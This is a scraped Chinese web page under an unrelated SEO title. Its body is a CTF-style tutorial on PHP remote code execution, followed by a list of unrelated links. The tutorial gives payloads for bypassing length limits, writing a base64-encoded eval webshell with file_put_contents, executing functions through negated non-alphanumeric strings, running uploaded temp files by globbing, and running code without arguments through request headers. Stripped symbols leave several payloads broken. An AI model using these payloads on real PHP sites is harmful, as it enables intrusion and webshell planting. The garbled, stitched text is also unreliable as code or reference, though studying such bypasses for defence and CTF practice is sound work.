当前位置: 首页 > news >正文

php购物网站开发怎么把网站设置为信任网站

php购物网站开发,怎么把网站设置为信任网站,企业网站建设单位,企业网盘推荐目录 1、RCE概述 #xff08;1#xff09;命令执行函数 #xff08;2#xff09;代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 #xff08;1#xff09;反引号或exec #xff08;2#xff09;file_put_contents写入文件 #xff08;3#xff…目录 1、RCE概述 1命令执行函数 2代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 1反引号或exec 2file_put_contents写入文件 3回调后门变长参数 4拼接文件名 无字母数字绕过 1取反码 2临时文件 无参数读文件和RCE 1Apache 2Nginx 1、RCE概述 RCE漏洞远程代码执行和远程命令执行 在很多Web应用中开发人员会使用一些特殊函数这些函数以一些字符串作为输入功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时就产生了RCE漏洞。 1命令执行函数 system(),  passthru()  --可以直接输出结果 exec(),  shell_exec()    --需要echo打印结果 2代码执行函数 eval(),   assert()    --执行php代码 call_user_func(),   call_user_func_array()  --回调函数  2、回调后门 有回调函数作为参数的函数 --回调后门 call_user_func() ,   call_user_func_array() , array_filter() 等等 3、eval和assert eval在php中是动态执行的方法不能通过$_GET和$_POST来动态传递进行执行 assert是php的函数可以动态传递进行执行 例如有回调后门如下 call_user_func(assert,$_REQUEST[pass]); 我们在用蚁剑进行连接的时候如果这样 ?pass$_POST[123]  这样连接会失败要在前面加上eval 这样才能连接成功 限制字符长度绕过 ?php $param $_REQUEST[param]; if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false) {eval($param); } 1反引号或exec ?paramecho%20$_GET[1];1whoami?paramexec($_GET[1]);1whoami 2file_put_contents写入文件 将一句话木马进行base64编码后一个一个写入文件 为什么必须编码 因为像 这些特殊符号不能直接写入 ?1file_put_contentsparam$_GET[1](N,P,8); ?1file_put_contentsparam$_GET[1](N,D,8); ... /* PD9waHAgZXZhbCgkX1BPU1RbOV0pOw ✲写入文件N中 */?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN 3回调后门变长参数 usort(...$_GET) usort — 使用用户自定义的比较函数对数组中的值进行排序 用BurpSuit抓包修改post和get值 4拼接文件名 ?php $param $_REQUEST[param]; if ( strlen($param) 8 ) {echo shell_exec($param); } echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d c.php 因为长度限制将上面一句命令拆分开通过常见文件的方式绕过 最后再用ls -t 以创建时间的列出当前文件夹下所有文件就拼接回去了 注意每一个文件名后面都要加上\,因为文件名都是以换行符结尾在ls -t列出文件的时候\起到转义换行符的作用 无字母数字绕过 ?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)35){die(Long.);}if(preg_match(/[A-Za-z0-9_$]/,$code)){die(NO.);}eval($code); }else{highlight_file(__FILE__); } 1取反码 php7中支持这样执行函数(phpinfo)(); payload (~%8F%97%8F%96%91%99%90)(); 将 phpinfo取反  ~phpinfo --urlcode编码 %8F%97%8F%96%91%99%90 payload再次取反就复原了成功绕过 2临时文件 php上传文件机制 第一步将本地的文件上传到服务器的临时目录 /tmp 第二步将上传的文件从临时目录移动到指定的目录中再删除临时文件 思路 (1)上传一个shell文件(虽然上传不成功但是代码没执行完毕临时文件不会删除)将要执行的代码写入文件 (2)再通过get传参传入命令执行临时文件 阻碍 1、 上传的临时文件没有x执行权限 --  . phpasgdfK (点加空格加文件名执行 2、 不知道临时文件名为随机生成的 临时文件名特征随机文件名为 phpxxxxxx  ,但最后一个位大多是大写字母只有少数部分位小写字母和数字 大写字母ASCII范围是 -[ Linux glob 通配符? 匹配任意一个字符* 匹配任意多个字符 payload ?code??./???/????????[-[];? 无参数读文件和RCE ?php highlight_file(__FILE__); if(; preg_replace(/[^\W]\((?R)?\)/, , $_GET[code])) { eval($_GET[code]); } ? 上面正则只能匹配函数不能有参数但是可以嵌套函数 --  a(b(c())) 1Apache apache有getallheaders()函数获取所有header codeeval(next(getallheaders()));user-agent:phpinfo(); 用BurpSuit抓包修改header内容将要执行的命令写入头部 2Nginx 找到flag文件 1、print_r(scandir(.));  但是不能有 . 这个参数所以找到输出 . d 的函数 (1)print_r(scandir(current(localeconv()))); --pos是current的别名也可以(2)chr(46) 是字符 .chr(current(localtime(time()))); 2、print_r(scandir(绝对路径)) print_r(scandir(getcwd())); 读flag文件 show_source(array_rand(array_flip(scandir(getcwd())))); array_flip()是交换数组的键和值array_rand()是随机返回一个数组
http://www.hkea.cn/news/14560457/

相关文章:

  • wordpress动漫博客主题昆明seocn整站优化
  • wordpress优秀移动站点前台网站开发技术
  • 网站开发答辩知识点wordpress修改固定链接后页面404
  • 面试网站建设需要的简历zenmeyong wordpress
  • api模式网站开发介绍如何去建设一个企业网站
  • eclipse做网站代码什么是网络营销名词解释
  • 怎么让客户做网站广州新建站
  • 东莞集团网站建设网站开发费税率是多少
  • php网站开发实训指导书如何做商业网站分析
  • 做餐饮培训网站广告西安高风险调整
  • 餐馆效果图网站广州短视频拍摄
  • 上海做网站设计的公司内蒙古网站开发公司
  • 垂直行业门户网站建设方案黑彩网站怎么做
  • 班级网站 建设模板wordpress移除工具栏
  • 网站添加在线支付功能什么是网络营销?网络营销的职能有哪些?
  • wordpress资讯类主题破解版百度seo专业网站
  • 网站手机版模板泰安百度推广代理公司
  • 网站建设构架linode vps wordpress插件不运行
  • 网站开发怎么自动获取位置百度推广代理
  • 深圳专业做公司网站网上动漫设计
  • 网站建设佛山拓客科技公司云南网络营销公司
  • 免费网站建站模板广西新农村建设指导员网站
  • 自己做的网站加载慢湘潭商城网站建设定制
  • 申请自助建站怎么做好网站营销
  • 51这个网站还有吗logo在线制作免费平台
  • 阿里巴巴网站建设过程深圳小程序开发费用
  • WordPress 获得附件seo怎么做优化计划
  • 自助建站什么意思网站建设是否包含等保
  • 网站收录了怎么做排名沈阳酒店企业网站制作公司
  • 深圳网站制作哪家价格便宜wordpress文章添加字段不重复